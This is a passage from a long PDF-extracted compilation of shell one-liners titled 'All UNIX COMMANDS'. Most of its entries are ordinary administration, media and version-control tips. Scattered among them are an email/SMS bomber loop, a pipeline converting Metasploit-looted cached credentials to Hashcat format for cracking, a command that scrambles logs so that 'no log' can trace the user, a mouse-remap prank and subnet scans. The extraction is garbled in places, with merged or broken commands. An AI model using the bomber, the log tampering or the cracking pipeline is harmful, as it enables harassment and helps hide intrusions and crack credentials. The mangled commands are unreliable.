cat /etc/passwd | grep "bash" | cut -d: -f1
# recursively remove BOM
find . -type f -exec sed -i -e '1s/^\xEF\xBB\xBF//' {} \;
# &#35299;&#20915;rhythmbox&#25773;&#25918;&#20013;&#25991;&#20081;&#30721;
mid3iconv -e GBK *.mp3
# True Random Dice Roll
echo $(</dev/urandom tr -dc 1-6 | head -c1)
# cd Nst subdir

362 / 658

-I {} tar rf

All UNIX COMMANDS


cd $(ls -1 | sed -n '<N>p')
# Find files with size over 100MB and output with better lay-out
print -rl **/*(.Lm+100)
# Command used to sync arch ro manjaro mirrors
sudo pacman-mirrors -g
# dpkg: purge all packages matching some name
sudo dpkg -P $(sudo dpkg -l yourPkgName* | awk '$2 ~ /yourPkgName.*/' | awk '$1 ~ /.i/' |
awk '{print $2}')
# Reads in the ~/.Xdefaults
alias xdef_load='xrdb -merge ~/.Xdefaults'
# Exclude grep from your grepped output of ps (alias included in description)
pgrep -fl [h]ttpd
# Find out Information about BIOS
# dmidecode --type 0
# cat /etc/passwd | egrep -v "noshell|false|nologin" | cut -d: -f1,7
Get a list of user accounts and their login shell
# sleep for a random amount of time up to an hour
sleep `shuf -i 0-3600 -n 1`
# Twitter Account Validator
if wget https://twitter.com/users/username_available?username=xmuda -q -O - | grep -q
"\"reason\":\"taken\""; then echo "Username taken"; else echo "Free / Banned Name"; fi
# diff remote and local sshd_configs
colordiff <(ssh user@host cat /etc/ssh/sshd_config) /etc/ssh/sshd_config
# Find Duplicate Files (based on size first, then MD5 hash)
find . -type f -not -empty -printf "%-25s%p\n"|sort -n|uniq -D -w25|cut -b26-|xargs -d"\n"
-n1 md5sum|sed "s/ /\x0/"|uniq -D -w32|awk -F"\0" 'BEGIN{l="";}{if(l!=$1||l==""){printf "\n
%s\0",$1}printf "\0%s",$2;l=$1}END{printf "\n"}'|sed "/^$/d"
# Defcon 18 Quals Binary L33tness 300 Solution
echo "6d5967306474686924697344406b3379" | xxd -r -p
# Find the source file which contains most number of lines in your workspace
find -name "*.<suffix>" -exec wc -l "{}" \; | sort -n | tail
# Exclude grep from your grepped output of ps (alias included in description)
pgrep -fl [h]ttpd
# View a sopcast stream
(sp-sc sop://broker.sopcast.com:3912/80562 8908 10999 &>/dev/null &); sleep 10; wait $(vlc
http://localhost:10999); killall sp-sc
# compare the contents of two directories
sdiff <(ls /) <(ls /usr)
# add all files not under version control to repository
svn st | grep '^?' | sed -e 's/\?[[:space:]]*//' | tr '\n' '\0' | xargs -0 svn add
# See your current RAM frequency
/usr/sbin/dmidecode | perl -lne 'print $1 if /Current\s+Speed:\s+(\d+\s+MHz)/'

363 / 658

All UNIX COMMANDS


# Unmount all CIFS drives
for D in `mount -lt cifs | sed 's/.*on \(\/.\+\) type.*/\1/'`; do echo -n "UNMOUNTING
$D..."; sudo umount $D; echo " [DONE]"; done;
# Simple find
find / -name '*android*' 2>errors.txt

# shorter loop than for loop


seq -f 'echo %g' $NUM | sh
# Removes all packages recommended by other packages
aptitude remove '?and( ?automatic(?reverse-recommends(?installed)), ?not(?automatic(?
reverse-depends(?installed))) )'
# Clean pacman cache in arch linux, manjaro linux
sudo pacman -Scc
# creating you're logging function for your script
logme(){
echo "$(date +%d-%m-%Y-%H:%M) => $0 @ $1 returned error" >> persoscript.log
}
# Extract ip addresses with sed
sed -n 's/.*\(\(\(^\| \)[0-9]\{1,3\}\.\)\{1\}\([0-9]\{1,3\}\.\)\{2\}[0-9]\{1,3\}\) .*/\1/gp'
# get process id with program name
ps -efa | grep httpd | grep -v grep | awk '{ print $2 }' |xargs
# Scan computers OS and open services on all network
nmap -O 192.168.1.1/24
# Randomize lines (opposite of | sort)
perl -wl -e '@f=<>; for $i (0 .. $#f) { $r=int rand ($i+1); @f[$i, $r]=@f[$r,$i] if ($i!
=$r); } chomp @f; print join $/, @f;' try.txt
# Unzip testresult file from all zip-files and merge them into one testresult file.
7z e *.zip -r testresult -so >> testresult.txt
# diff two css files to create an overriding css (e.g. for wordpress child themes)
diff -U99999 original.css modified.css | awk '/^-/{next} {f=f"\n"$0} /^\+.*[^ ]/{yes=1} /}/
{if(yes){print f} f="";yes=0}'
# Run puppet agent in one-off debug mode
puppet agent --test --debug
# Music streaming via ssh
ssh login@server "cat path/filename.mp3" | mplayer # Filtering IP address from ifconfig usefule in scripts
print ${$(ifconfig wlan0)[6]}
# mhwd ? Manjaro Hardware Detection
mhwd --help
# To find a class/properties/xml in collection of jars
for i in `find . -name "*.jar"`; do jar -tvf $i | grep -v /$ | awk -v file=$i '{print file
":" $8}'; done > all_jars.txt

364 / 658

All UNIX COMMANDS


# Converts all windows .URL shortcuts in a directory to linux (gnome) .desktop shortcuts
find . -name "*.URL" | while read file ; do cat "$file" | sed 's/InternetShortcut/Desktop
Entry/' | sed '/^\(URL\|\[\)/!d' > "$file".desktop && echo "Type=Link" >> "$file".desktop ;
done
# Get MAC ID linux command line
ifconfig |grep HWaddr |cut -d ' ' -f 1,11 |grep eth0 |cut -d ' ' -f 2|xargs | awk -F':'
'{ print $1$2$3$4$5$6 }'
# Show all local disk and UFS mounts on Solaris
df -kFufs
# Count how many times a certain referer appears in your apache log
Q="reddit|digg"; F=*.log; awk -F\" '{print $4}' $F | egrep $Q | wc -l
# Hexadecimal dump of a file, pipe, or anything
cat testfile | hexdump -C
# How to delete all the archive files with extension *.tar.gz and greater than 10MB?
find / -type f -name *.tar.gz -size +10M -exec ls -l {} \;
# deleter
find . ! -size 0c -mtime +1 -type f -delete
# Remove new lines
xargs < [inputfile]
# delete local *and* remote git repos if merged into local master
git branch | cut -c3- | grep -v "^master$" | while read line; do git branch -d $line; done |
grep 'Deleted branch' | awk '{print $3;}' | while read line; do git push <target_remote> :
$line; done
# Find directories with lots of files in them
sudo find / -type f | perl -MFile::Basename -ne '$counts{dirname($_)}++; END { foreach $d
(sort keys %counts) {printf("%d\t%s\n",$counts{$d},$d);} }'|sort -rn | tee
/tmp/sortedfilecount.out | head

# one-line log format for svn


svn log | perl -pe 's/\n//g => s/^-.*/\n/g'
# Approximate grep for finding typos
agrep -2 differentially README.txt
# Run puppet master in foreground in debug mode
puppet master --no-daemonize --debug
# Extract remote gzip tarball
ssh user@remote "cat /path/to/archive.tgz" | tar zxvf # Find biggest 10 files in current and subdirectories and sort by file size
find . -type f -exec ls -shS {} + | head -10
# Geolocate a given IP address (zh-CN)
ydip () { w3m -dump "http://www.youdao.com/smartresult-xml/search.s?type=ip&q=$1"; }
# To install guest additions in arch or manjaro linux, run the following command:
sudo pacman -S virtualbox-guest-utils

365 / 658

All UNIX COMMANDS


# Linux screenshot
ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /home/ken/Desktop/moviemade1.mpg
# Get file from remote system
scp username@host|ipaddress:/directory/path .
# Convert file from UTF8 (no BOM) to UTF16 (with BOM)
recode UTF8..UTF-16LE linux-utf8-file.txt
# Download all Phrack .tar.gzs
for ((i=1; i<67; i++))
do
-q; done

wget http://www.phrack.org/archives/tgz/phrack${i}.tar.gz

# Colorized grep in less


ack --pager='less -r'
# How to archive all the files that are not modified in the last x number of days?
find /protocollo/paflow -type f -mtime +5 | xargs tar -cvf /var/dump-protocollo/`date '+%d%m
%Y'_archive.tar`
# Timezone conversions (eg: what time was @tz_dest when it was $tm @tz_orig)
TZ="$tz_dest" date -d "$(TZ="$tz_orig" date -d "$tm")"
# Days left before password expires
let NOW=`date +%s`/86400 ; PASS_LAST_CHANGE=`grep $USER /etc/shadow | cut -d: -f3` ;
PASS_LIFE=`grep $USER /etc/shadow | cut -d: -f5`; DAYS_LEFT=$(( PASS_LAST_CHANGE + PASS_LIFE
- NOW)) ; echo $DAYS_LEFT
# Convert Unix newlines to DOS newlines
perl -ple 'BEGIN { $\ = "\r\n" }'
# prettier
cal | grep -C7 --color=auto $(date +%d)
# grep lines containing two consecutive hyphens
grep "\-\-" file
# Multi-segment directory downloading with lftp
lftp -u user,pass ftp://site.com/ -e 'mirror -c --parallel=3 --use-pget-n=5 "Some folder"'
# Get the /dev/disk/by-id fragment for a physical drive
print /dev/disk/by-id/*(@[1]:t)
# Recursively count the number of CSV files in each given directory
csvcount() { for dir in $@; do echo -e "$(find $dir -name '*.csv' | wc -l)\t$dir"; done }
# To get the latest information on rpm packages
rpm -qa --last
# Delete duplicated dictionaries in spell check list
sudo find /usr/share/hunspell/ -lname '*' -delete
# Create a directory and cd into it
mydir(){mkdir -p $1 && cd $1}
# Get the time and date of the last server reboot
date -d "$(uptime | awk '{gsub(/,/,"",$3);gsub(/:/," hours ",$3); print "- " $3 "
minutes"}')"

366 / 658

All UNIX COMMANDS


# Rekursive Grep on Solaris or AIX Systems without GNU egrep -r funcionality
find . -type f -exec awk '/linux/ { printf "%s %s: %s\n",FILENAME,NR,$0; }' {} \;
# Display icons in Desktop Gnome 3 of Fedora
gsettings set org.gnome.desktop.background show-desktop-icons true
# Remove from PATH paths containing a string
export PATH= $(echo $PATH | tr ':' '\n' | awk '!/matching string/' | paste -sd:)
# show WAN IP
curl ifconfig.me
# show 20 last modified files in current directory including subdirectories
ls -tl **/*(om[1,20])
# dpkg: purge all packages matching some name
sudo dpkg -P $(dpkg -l yourPkgName* | awk '$2 ~ /yourPkgName.*/ && $1 ~ /.i/ {print $2}')
# To get the different name field nformation on rpm packages
rpm -qa --qf '%{name}'
# Migrate gems from one ruby installation to another
/originalInstall/gem list | tr -d '(),' | xargs -L 1 sudo ./gemInst.sh
# Display the output of a command from the first line until the first instance of a regular
expression.
<your command here> | perl -n -e 'print "$_" if 1 ... /<regex>/;'
# Search for a pattern across files in a code base (leaving out CVS directories)
for f in $(find /path/to/base -type f | grep -vw CVS); do grep -Hn PATTERN $f; done
# RTFM function
rtfm() { help $@ || man $@ || open "http://www.google.com/search?q=$@"; }
# Get the time and date of the last server reboot
last reboot
# bash chop
sed 's/.$//'
# Show git branches by date - useful for showing active branches
git for-each-ref --sort='-authordate' --format='%(refname)%09%(authordate)' refs/heads | sed
-e 's-refs/heads/--'
# Stream video to screen with a delay (cyberart)
mencoder tv:// -tv driver=v4l2:width=320:height=240:device=/dev/video1 -nosound -ovc lavc
-really-quiet -quiet -o - | (sleep 10m; cat) | mplayer - -cache 512
# For Loop in DOS Batch File
FOR %%c in (C:\Windows\*.*) DO (echo file %%c)
# vi a remote file with port
vim sftp://[user@]host.domain.tld:[port]/[path/][file]
# Mouse Remap Trolling
xmodmap -e "pointer = $(shuf -i 1-5 | tr '\n' ' ')"
# To Find CVE fix from the rpm log
for i in $(cat vulns.txt); do echo $i; rpm -qa ?changelog | grep -i $i; done

367 / 658

All UNIX COMMANDS


# Matrix Style
while $t; do for i in `seq 1 30`;do r="$[($RANDOM % 2)]";h="$[($RANDOM % 4)]";if [ $h -eq
1 ]; then v="\e[1m $r";else v="\e[2m $r";fi;v2="$v2 $v";done;echo -e $v2;v2="";done;
# list tomcat webapps
ssh tomcat-server ls -l webapp-dir | grep -- '->' | awk ' { print $(NF-2) " " $(NF-1) " "
$NF; }'
# Get the time and date of the last server reboot
last reboot
# Limit characters per line when viewing manual pages.
MANWIDTH=70 man 7 man
# Copy a file content to clipboard on Cygwin
cat file.txt | putclip
# Generate schema documentation for an Oracle database
java -jar ~/Downloads/schemaSpy_5.0.0.jar -dp ~/instantclient_10_2/ojdbc14.jar -t orathin
-db DBNAME -host HOSTNAME -port 1521 -u USERNAME -p PASSWORD -o KSEMBEDDED-ks-1.3-merge

# Create a git archive of the latest commit with revision number as name of file
git archive HEAD --format=zip -o `git rev-parse HEAD`.zip
# Convert metasploit cachedump files to Hashcat format for cracking
cd ~/.msf4/loot && cat *mscache* | cut -d '"' -f 2,4 | sed s/\"/\:/g | tr -cd
'\11\12\40-\176' | grep -v Username | cut -d : -f 1,2 | awk -F':' '{print $2,$1}' | sed
's/ /:/g' > final.dcc.hash
# Find stock debian package config files that have been modified since installation
dpkg-query -Wf '${Package}\n' | xargs dpkg --status | sed '/^Conffiles:/,/^Description:/!
d;//d' | awk '{print $2 " " $1}' | md5sum -c 2>/dev/null | grep FAILED$ | cut -f1 -d':'
# shows history of logins on the server
last
# Migrate wordpress db between two hosts changing the URL on the fly with encryption and
compression
ssh -q ${SRC_HOST} "mysqldump --add-drop-database --create-options --databases wordpress |
sed -r \"s/${OLD_URL}/${NEW_URL}/g\" | gzip -9" | ssh ${DST_HOST} "gunzip | mysql"
# Download all items from a list of URLs copied to the clipboard on OS X
pbpaste | xargs wget
# highest resolution of your ouputs as screen resolution and scaled versions on other
outputs
xrandr --fb 1920x1080 --output LVDS1 --scale 1.5x1.35 --output HDMI1 --mode 1920x1080
# to get how many users logged in and logged out and how many times purely using awk
last | awk '$1!~/wtmp/{logs[$1]++}END{for (i in logs) print i, logs[i]}'
# Display the output of a command from the first line until the first instance of a regular
expression.
<command> | perl -pe '/<regex/ && exit;'
# Create a false directory structure for testing your commands
for i in /usr/bin/* ;do touch ${i##*/}; done

368 / 658

All UNIX COMMANDS


# List state of NAT.
netstat-nat -n
# How to run a shell script on a remote host using ftp
watch -n10 "if test -e run.txt ; then chmod +x script.sh && ./script.sh && rm run.txt || rm
run.txt && echo > failed.txt ; fi"
# Monitor file contents that is being overwritten regularly
while sleep 1; do clear; cat /tmp/whatever.cue; done
# backup your BMR info
dd if=/dev/sda of=mbr.bk bs=512 count=1
# Remove semaphores
ipcs -s | grep apache | awk ' { print $2 } ' | xargs ipcrm sem
# Transfer with rsync a file using SSH with a forced HMAC integrity algorithm
rsync -av -e "ssh -o MACs=hmac-ripemd160" --progress --partial
user@remotehost://path/to/remote/stuff .
# Check reachable sites
10,30,50 * * * * ping -q -c1 -w3 www.test.com | grep '1 received' - || mail -ne -s'Host
192.168.0.14 not reachable' test@gmail.com
# Printing multiple years with Unix cal command
for y in 2009 2010 2011; do cal $y; done
# Upload an image to Twitpic
curl -F "username=mytwiterlogin" -F "password=mytwitterpassword" -F "message=My image
description" -F media=@"./image.png" http://twitpic.com/api/uploadAndPost
# Edit the list of to ignore files in the active directory
svn pe svn:ignore .
# Dump your Thunderbird Lightning todo list in CSV format
sqlite3 -csv ~/.thunderbird/*.default/calendar-data/local.sqlite "SELECT CASE WHEN priority
IS NULL THEN 5 ELSE priority END AS priority, title FROM cal_todos WHERE ical_status IS NULL
ORDER BY priority ASC, last_modified DESC;"
# Gets the english pronunciation of a phrase
curl -A "Mozilla" "http://translate.google.com/translate_tts?tl=en&q=hello+world" | play -t
mp3 # Restart Xen XAPI
xe-toolstack-restart
# Lil stats on instant usage of navigator
awk 'BEGIN{ff=0;chr=0;sf=0}{if($0~/Firefox/){ff=ff+1}if($0~/Safari/){sf=sf+1}if($0~/Chrome/)
{chr=chr+1} }END{total=(chr+ff+sf); print "Total: "total "\nSafari: " (sf/total*100)
"\nFirefox: "(ff/total*100) "\nChrome: "(chr/total*100) }' /logs/access_log
# Change permissions for all files in the current directory
find ./ -type f | xargs sudo chmod 644

# get the info which branch was created


svn log --stop-on-copy -r 1:HEAD -l 1

369 / 658

All UNIX COMMANDS


# Get the current svn branch/tag (Good for PS1/PROMPT_COMMAND cases)
svn info | grep ^URL | awk -F\/ '{print $NF}'
# SVN - set exec bit on
svn ps svn:executable yes /web/itscripts/check_mail.plproperty
# Command line email/SMS Bomber
while true; do echo "message here" | mutt something@something.com ; done
# Find stock debian package config files that have been modified since installation
debsums
# check site if not reachable
10,30,50 * * * * ping -c1 -w3 www.test.com >/dev/null
# Check CRL expiration time
[ `curl 'http://crl.godaddy.com/gds5-16.crl' 2>/dev/null | openssl crl -inform DER -noout
-nextupdate | awk -F= '{print $2}' | xargs -I{} date -d {} +%s` -gt `date -d '8 hours' +
%s` ] && echo "OK" || echo "Expires soon"
# Listen to TWiT with mpd/mpc
mpc clear && mpc add http://twit.am:80/listen && mpc play
# deleter
find -type f -size +0 -mtime +1 -print0|xargs -0r rm -f
# Disabling Spotlight on Mac OS
sudo mdutil -a -i off
# sort a list of comma separated numbers: sort_csn
sort_csn () { echo "${1}" | sed -e "s/,/\n/g"| sort -nu | awk '{printf("%s,",$0)} END
{printf("\n")}' | sed -e "s/,$//"; }
# find and delete empty directories recursively
perl -MFile::Find -e"finddepth(sub{rmdir},'.')"
# Convert Hex to String
echo 474e552773204e6f7420556e697821 | sed -e 's/\(.\{2\}\)/\\\\x\1/g' | xargs echo -e
# Convert Windows/DOS Text Files to Unix
sed -i 's/\r//' <filename>
# insert blank lines
sed G input.txt | cat -s
# human readable total directory size
du -cah /path/to/folder/ | grep total
# Change permission for all directories inside the current one
find site/ -type d | xargs sudo chmod 755
# Find out current working directory of a process
pwdx $(pgrep command)
# Convert multiple images to multi page PDF (with specific page order)
convert {1..12}.png MyMultiPageFile.pdf
# Extract the right stereo channel from all the wav files in current dir (left channel would
be 'remix 1')
for i in *.wav; do sox "$i" "${i%.*}_RightChan.wav" remix 2; done

370 / 658

All UNIX COMMANDS


# Removes lines [range] from file
sed '1,5d' /path/to/file
# SSH monitor
ssh root@server 'tail --max-unchanged-stats=10 -n0 -F /var/log/auth.log ' | grep Accepted |
while read l ; do kdialog --title "SSH monitor" --passivepopup "$l" 3; done
# Have a list of directories in a file, ending with newlines and need to run du on it?
cat filename | tr '\n' '\0' | du -hsc ?files0-from=# Show full path followed by a command
perl -le 'chomp($w=`which $ARGV[0]`);$_=`file $w`;while(/link\b/){chomp($_=(split/`/,$_)
[1]);chop$_;$w.=" -> $_";$_=`file $_`;}print "\n$w";' COMMAND_NAME
# expand a program-name into an absolute path on the bash command-line, using ctrl-e
bind '"\C-e":"\eb `which \ef`\e\C-e"'

# Change your exported xml love list from last.fm, into Song: songname Artist: artistname
cat username_lovedtracks.xspf |perl -pe
"s/.*<title>(.*)<\/title><creator>(.*)<\/creator>.*/Song: \1 Artist: \2/gi"> titles
# Show git branches by date - useful for showing active branches
for k in $(git branch | sed /\*/d); do echo "$(git log -1 --pretty=format:"%ct" $k) $k";
done | sort -r | awk '{print $2}'
# Find resolvable hosts in subnet
nmap -sL 74.125.237.1/24
# Copy Current Command Line to Clipboard
bind '"\C-l": "\C-u cat <<EOT | pbcopy \n \C-y \nEOT\n"'
# Remove UTF-8 Byte Order Mark BOM
find . -type f -regex '.*html$' -exec sed -i 's/\xEF\xBB\xBF//' '{}' \;
# Extract audio from dvd vobs in current dir
for i in *.VOB; do mplayer "$i" -ao pcm:file="${i%.*}.wav"; done
# Generate entropy
rngd -f -r /dev/urandom
# Copy uncommitted changes from remote git repository
ssh HOST '(cd REPO_DIR && git diff --name-only HEAD | cpio -o -Hnewc --quiet)' | cpio -iduv
--quiet -Hnewc
# Get a PostgreSQL servers version
psql -X -A -t -c "SELECT version();"
# Update music info with public database data
eval echo $(echoprint-codegen "/path/to/file.mp3"| jq ' .[0].metadata | "mp3info -a \"" +
.artist + "\" -t \"" + .title + "\" -l \"" + .release + "\" \"" + .filename + "\"" ' ) |
bash
# printing with psnup
psnup -4 -pa4 -Pa4 file.ps file2.ps
# Log a command's votes

371 / 658

All UNIX COMMANDS


while true; do curl -s http://www.commandlinefu.com/commands/view/3643/log-a-commands-votes
| grep 'id="num-votes-' | sed 's;.*id="num-votes-[0-9]*">\([0-9\-]*\)</div>;\1;' >> votes;
sleep 10; done
# configify the list of gems on ur machine. the quick hack
gem list --local | python -c "import sys;import
re;l=sys.stdin.readlines();x=['config.gem :'+line[:-1][:line.index(' ')] + ' , ' +line[:-1]
[line.index(' '):].replace('(',':version => ').replace(')','') for line in l];print
'\n'.join(x)"
# Burn an ISO on command line with hdiutil on mac
hdiutil burn foo.iso
# Make a quick alias for seeing date's format codes.
alias dateformatcodes="date --help | sed -n '/^FORMAT/,/%Z/p'"
# Get first argument in a script
[ $1 ] && my_dir=$1
# Put subtitles on black band in Mplayer
mplayer -vf-add scale=<SCREEN_WIDTH>:-3:::0.00:0.75 -vf-add expand=:<SCREEN_HEIGHT> -sub
<SUBTITLE> <MOVIE>
# Kill unresponsive Xen VMs
/opt/xensource/debug/destroy_domain -domid <id>
# mysqlbinlog headers sorted by event time
mysqlbinlog <logfiles> | grep exec | grep end_log_pos | grep -v exec_time=0 | sed 's/^\
(.*exec_time=\([0-9]\+\).*\)/\2 - \1 /' | sort -n
# Create a tar archive with cpio containing a set of files
find path -name '*' -type f | cpio -ov -H ustar -F txtarchive.tar
# Size for all directories inside the current one
find . -type d -maxdepth 1 | xargs du -sh
# Deleting directory recurcive. Directories will be deleled when empty or contains only .svn
subdirectory
for I in $(find . -depth -type d -not -path "*/.svn*" -print) ; do N="$(ls -1A ${I} | wc
-l)"; if [[ "${N}" -eq 0 || "${N}" -eq 1 && -n $(ls -1A | grep .svn) ]] ; then svn rm
--force "${I}"; fi ; done
# Set hidden attribe to a file in fat
fatattr -h <file>
# Check for listening services
netstat -tuapen | grep LISTEN
# Debug openssl from CLI
openssl s_client -state -connect site.com:443

# find only current directory (universal)


find /some/directory/* -prune -type f -name *.log
# Using psnup to get two pages per page
psnup -2 file.ps | lpr
# replace old htaccess php AddHandler values with new one

372 / 658

All UNIX COMMANDS


find /var/www/ -type f -name ".htaccess" -exec perl -pi -e 's/AddHandler[\s]*php(4|5)cgi/AddHandler x-httpd-php\1/' {} \;
# Make a statistic about the lines of code
find . -name \*.c | xargs wc -l | tail -1 | awk '{print $1}'
# Download a TiVo Show
curl -s -c /tmp/cookie -k -u tivo:$MAK --digest "$(curl -s -c /tmp/cookie -k -u tivo:$MAK
--digest https://$tivo/nowplaying/index.html | sed 's;.*<a href="\([^"]*\)">Download MPEGPS</a>.*;\1;' | sed 's|\&amp;|\&|')" | tivodecode -m $MAK -- - > tivo.mpg
# configify the list of gems on ur machine. the quick hack
gem list --local | python -c "import sys;import
re;l=sys.stdin.readlines();x=['config.gem \"'+line[:-1][:line.index(' ')] + '\" , ' +line[:1][line.index(' '):].replace('(',':version => \"').replace(')','')+'\"' for line in l];print
'\n'.join(x)"
# Get IPv4 of eth0 for use with scripts
ifconfig eth0 | awk '/inet / {print $2}' | cut -d ':' -f2
# merge ogg file into a new one according to their download time
cat $(ls -c | grep ogg | tac ) > directory/test.ogg
# Get your local IP regardless of your network interface
ifconfig | sed -ne 's/^.*inet \(addr:\)*\([^ ]*\).*/\2/;te' -e 'd;:e' -e '/^127\./d;p'
# no log to trace you
paste <(cut -f1 log.txt) <(cut -f2- log.txt | shuf)
# search google on any OS
google "search terms" #see description for more details
# oneline REPL for perl with warnings and readline support
perl -MTerm::ReadLine -wde'print "TheAnswer=42\n"'
# Seach for packages on Debian using regex.
aptitude search ^tin
# filter rails log to count requests sliced in seconds
tail -f production.log | perl -ne 'if (/^Completed.in.(\d+)/){$d = int($1/1000);print "\n";
$f{$d}++;for $t (sort(keys(%f))){print $t."s: ".$f{$t}."\n"}}'
# Write and read HDD external
ntfs-3g /dev/da0s1 /mnt
# Create a tar archive with pax containing a set of files
find path -name '*' -type f | pax -wd > txtarchive.tar
# Monitoring file change while a copy
while true; do ls -all myfile; spleep 1; clear; done
# make pretty the netstat output for listening services
sudo netstat -plntu --inet | sort -t: -k2,2n | sort --stable -t. -k 1,1n -k 2,2n -k 3,3n -k
4,4n | sort -s -t" " -k1,1
# Delete keys from Redis by matching a pattern
for key in `echo 'KEYS pattern*' | redis-cli | awk '{print $1}'`; do echo DEL $key; done |
redis-cli
# Change user's password

373 / 658

All UNIX COMMANDS


sudo passwd <username>
# move files without actually touching them
cd /some/directory \&\& tar cf - | cd /some/directory \&\& tar xvf - */
# less an message on a postfix mailsystem with a specific message-id
id=<XXXX>; find /var/spool/postfix/ -name $id -exec less {} \;
# Encode a hq video +10mb/min to an 1mb/min suitable for youtube
ffmpeg -i in.mkv -acodec libfaac -ab 128k -ac 2 -vcodec libx264 -vpre max -crf 22 -threads 0
out.mp4
# Backup to tape, rewind and check md5
tar -cvf - $DIR_TO_BACKUP | tee >(md5sum > backup_md5.txt) > /dev/st0 && mt -f /dev/nst0
bsfm 1 && md5sum -c backup_md5.txt < /dev/st0
# cd to (or operate on) a file across parallel directories
cd () { cdop=""; while [ "$1" != "${1#-}" ]; do cdop="${cdop} ${1}"; shift; done; if [ $#
-eq 2 ]; then newdir="${PWD/$1/$2}"; [ -d "${newdir}" ] || { echo "no ${newdir}"; return
1; }; builtin cd $cdop "${newdir}"; else builtin cd $cdop "$@"; fi }

# get Mother's Day


sqlite> select date('now', 'start of year', '+4 months', 'weekday 0', '+7 days');
# Create a 1280x720 color plasma image. Different each time.
convert -size 1280x720 plasma:fractal background.png
# find command usage
find /pentest/ -type f -iname "*trace*"
# add all files not under version control to repository
svn st | awk ' {if ( $1 == "?" ){print $1="",$0}} ' | sed -e 's/^[ \t]*//' | sed 's/ /\\ /g'
| perl -ne '`svn add ${1}@` if /(.*)(@*)(.*)/'
# Write and read HDD external
ntfs-3g /dev/da0s1 /mnt

(OS FreeBSD)

# Query Wikipedia via console over DNS


wki () {
dig +short txt "${*// /_}".wp.dg.cx | sed -e 's/^"\(.*\)"$/\1/' -e 's/\
([^\]\)"[^\]*"/\1/g' -e 's/\\\(.\)/\1/g' }
# Changes dir to $1 and executes ls. As simple as useful
cd () { command cd $1 && ls ; }
# Show header HTTP with tcpdump
tcpdump -s 1024 -l -A src 192.168.9.56 or dst 192.168.9.56
# make rsync progress output suitable for shell script reading
rsync --progress user@host:/path/to/source /path/to/target/ | stdbuf -oL tr '\r' '\n' >>
rsyncprogress.txt
# Check SSL crt and key compatibility
KEY_HASH=`openssl rsa -in $KEY_PATH -modulus -noout | openssl md5` && CRT_HASH=`openssl x509
-in $CERT_PATH -modulus -noout | openssl md5`; if [ "$KEY_HASH" != "$CRT_HASH" ];then
echo "MD5 sums between .key and .crt files DO NOT MATCH";fi
# delete all DrWeb status, failure and other messages on a postfix server
mailq | grep DrWEB | awk {'print $1'} | sed s/*//g | postsuper -d -

374 / 658

All UNIX COMMANDS


# Create a zip file ignoring .svn files
find . -not \( -name .svn -prune \) -type f | xargs zip XXXXX.zip
# Remove CR LF from a text file
flip -u $FILE
# List only locally modified files with CVS
cvs up 2>&1 | grep --color 'U \|P \|A \|R \|M \|C \|? '
# Encode mkv file to ogg+h264+mkv
ffmpeg -i initial.mkv -acodec libvorbis -ab 128k -ac 2 -vcodec libx264 -vpre max -crf 22
-threads 0 final.mkv
# List the size (in human readable form) of all sub folders from the current location
du -h --max-depth=1 | sort -hr
# Displays what shell you are using.
echo $0
# Converts a single FLAC file with associated cue file into multiple FLAC files
shnsplit -o flac -t "%n - %t - %a" -f sample.cue sample.flac
# Empty a file
truncate -s 0 file.txt
# Matrix Style
while true; do printf "\e[32m%X\e[0m" $((RANDOM%2)); for ((i=0; i<$((RANDOM%128)); i++)) do
printf " "; done; done
# Delete keys from Redis by matching a pattern
redis-cli keys pattern\* | xargs redis-cli del
# file sizes of current directory
ls -la | awk '{print $5, " " ,$9}' | sort -rn
# purge old stale messages on a qmail queue
for i in `grep "unable to stat" /var/log/syslog | cut -d "/" -f 3 | sort | uniq`; do find
/var/qmail/queue -name $i -type f -exec rm -v {} \; ; done
# Play 2600 off the hook over ssh
curl -L -s `curl -s http://www.2600.com/oth-broadband.xml` | xmlstarlet sel -t -m
"//enclosure[1]" -v "@url" -n | head -n 1` | ssh -t [user]@[host] "mpg123 -"
# Set volume to a mp3 file
ffmpeg -i foo.mp3 -vol 20 -acodec libmp3lame bar.mp3

# Terrorist threat level text


echo "Terrorist threat level: $(curl -s 'http://www.dhs.gov/dhspublic/getAdvisoryCondition'
| awk -F\" 'NR==2{ print $2 }')"
# Get the absolute path of a file
realpath -s <filename>
# Adds "-c" canonical option to bash "type" builtin command to follow symbolic links
type () { if [ "$1" = "-c" ]; then shift; for f in "$@"; do ff=$(builtin type -p "$f");
readlink -f "$ff"; done; else builtin type $typeopts "$@"; fi; }

375 / 658

All UNIX COMMANDS


# Display only the actual uptime value
uptime | cut -d "," -f 1 | cut -d " " -f 4# histogram of file size
gnuplot -p <(echo "set terminal wxt size `xrandr|grep -P '\s{3}(\d+x\d+).*\+$'|tr -s ' '
'\t'|cut -f2|sort -n|tail -n1|tr 'x' ','`; set logscale y; set style data hist; set xtic rot
by -90; plot '<(stat -c \"%n %s\" *)' u 2:xtic(1)")
# Basic Shell function die_msg
die_msg() { echo $@ >&2; exit -1; }
# print pdf man file
man -t ls > ls.ps && pdf2ps ls.ps && rm ls.ps
# Simulate a tree command
ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/

/' -e 's/-/|/'

# Get your current Public IP


dig o-o.myaddr.l.google.com @ns1.google.com txt +short
# Get svn log from remote server
svn log -l1000 <V CTRL SERVER> -v > svn_full.log
# Get full directory path of a script regardless of where it is run from
FULLPATH=$(perl -e "use Cwd 'abs_path';print abs_path('$0');")
# Throttle download speed (at speed x )
aria2c --max-download-limit=100K file.metalink
# all java -Xmx values in a system, add them up
output=$(ps -ef|grep -i java 2>/dev/null); for w in ${output[@]}; do if [[ $w =~ .*Xmx.* ]];
then result=$(grep -oP "[0-9]+" <<< $w); echo $result ;fi ; done| awk 'BEGIN {sum=0}
{for(i=1; i<=NF; i++) sum+=$i } END {print sum}'
# To backup your application code, data, logs and configuration, you run:
rhc snapshot save -a {appName}
# File rename with regexp
for i in xxxx*.mp4; do j=`echo $i | sed 's/ - \([0-9][0-9]\). / S1E\1 - /g'`; mv "$i" "$j";
done
# Turn on NFS Debugging
echo 1 > /proc/sys/sunrpc/nfs_debug
# Start urxvt and do whatever is needed to open the screen session named "main"
screen -ls | grep main && urxvt -name screen -e screen -x main || urxvt -name screen -e
screen -R -S main
# list files by testing the ownership
ls -la | awk '$3 == "oracle" || $3 == "root" {print $9}'
# sync a directory of corrupted jpeg with a source directory
